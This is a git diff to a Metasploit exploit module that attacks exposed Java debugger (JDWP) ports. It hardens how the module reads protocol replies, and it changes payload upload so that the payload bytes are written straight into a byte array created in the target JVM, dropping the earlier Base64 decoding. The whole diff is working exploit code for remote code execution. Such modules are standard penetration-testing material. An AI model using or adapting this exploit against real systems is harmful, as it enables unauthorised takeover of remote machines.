diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb
index 5a13314c87..a01e067e78 100644
--- a/modules/exploits/multi/misc/java_jdwp_debugger.rb
+++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb
@@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
   SETSTATICVALUES_SIG       = [3, 2]
   INVOKESTATICMETHOD_SIG    = [3, 3]
   CREATENEWINSTANCE_SIG     = [3, 4]
+  ARRAYNEWINSTANCE_SIG      = [4, 1]
   REFERENCETYPE_SIG         = [9, 1]
   INVOKEMETHOD_SIG          = [9, 6]
   STRINGVALUE_SIG           = [10, 1]
@@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
   THREADSUSPEND_SIG         = [11, 2]
   THREADRESUME_SIG          = [11, 3]
   THREADSTATUS_SIG          = [11, 4]
+  ARRAYSETVALUES_SIG        = [13, 3]
   EVENTSET_SIG              = [15, 1]
   EVENTCLEAR_SIG            = [15, 2]
   EVENTCLEARALL_SIG         = [15, 3]
@@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote
 
   # Reads packet response for JDWP protocol
   def read_reply(timeout = default_timeout)
-    response = sock.get_once(-1, timeout)
-    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
-    pktlen, id, flags, errcode = response.unpack('NNCn')
-    response.slice!(0..10)
-    if errcode != 0 && flags == REPLY_PACKET_TYPE
-      fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
+    length = sock.get_once(4, timeout)
+    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
+    pkt_len = length.unpack('N')[0]
+    if pkt_len < 4
+      fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
     end
+    pkt_len = pkt_len - 4
+
+    response = sock.get_once(pkt_len, timeout)
+    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
+    while response.length < pkt_len
+      partial = sock.get_once(pkt_len, timeout)
+      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
+      response << partial
+    end
+
+    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
+
+    id, flags, err_code = response.unpack('NCn')
+    response.slice!(0..6)
+    if err_code != 0 && flags == REPLY_PACKET_TYPE
+      fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
+    end
+
     response
   end
 
@@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote
     "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
   end
 
-  def is_java_eight
-    version.downcase =~ /1[.]8[.]/
-  end
-
   # Returns reference for all threads currently running on target VM
   def get_all_threads
     sock.put(create_packet(ALLTHREADS_SIG))
@@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote
     buf
   end
 
+  # Creates a byte[]
+  def create_array(len)
+    target_class = get_class_by_name("[B")
+    fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
+
+    type_id = target_class["reftype_id"]
+    fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
+
+    data = format(@vars["referencetypeid_size"], type_id)
+    data << [len].pack('N')
+
+    sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
+    buf = read_reply
+    buf
+  end
+
+  # Initializes the byte[] with values
+  def set_values(obj_id, args = [])
+    data = format(@vars["objectid_size"], obj_id)
+    data << [0].pack('N')
+    data << [args.length].pack('N')
+
+    args.each do |arg|
+      data << [arg].pack('C')
+    end
+
+    sock.put(create_packet(ARRAYSETVALUES_SIG, data))
+    read_reply
+  end
+
   def temp_path
     return nil unless datastore['TMP_PATH']
     unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
@@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote
   # Stores the payload on a new string created in target VM
   def upload_payload(thread_id, pl_exe)
     size = @vars["objectid_size"]
-    if is_java_eight
-      runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
-      buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
-    else
-      runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
-      buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
-    end
-    unless buf[0] == [TAG_OBJECT].pack('C')
-      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
-    end
 
-    decoder = unformat(size, buf[1..1+size-1])
-    if decoder.nil? || decoder == 0
-      fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
-    end
-
-    cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
-    if cmd_obj_ids.length == 0
-      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
-    end
-
-    cmd_obj_id = cmd_obj_ids[0]["obj_id"]
-    data = [TAG_OBJECT].pack('C')
-    data << format(size, cmd_obj_id)
-    data_array = [data]
-
-    if is_java_eight
-      runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
-    else
-      runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
-    end
-    buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
-    unless buf[0] == [TAG_ARRAY].pack('C')
-      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
-    end
+    buf = create_array(pl_exe.length)
+    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
 
     pl = unformat(size, buf[1..1+size-1])
+    fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
+
+    set_values(pl, pl_exe.bytes)
     pl
   end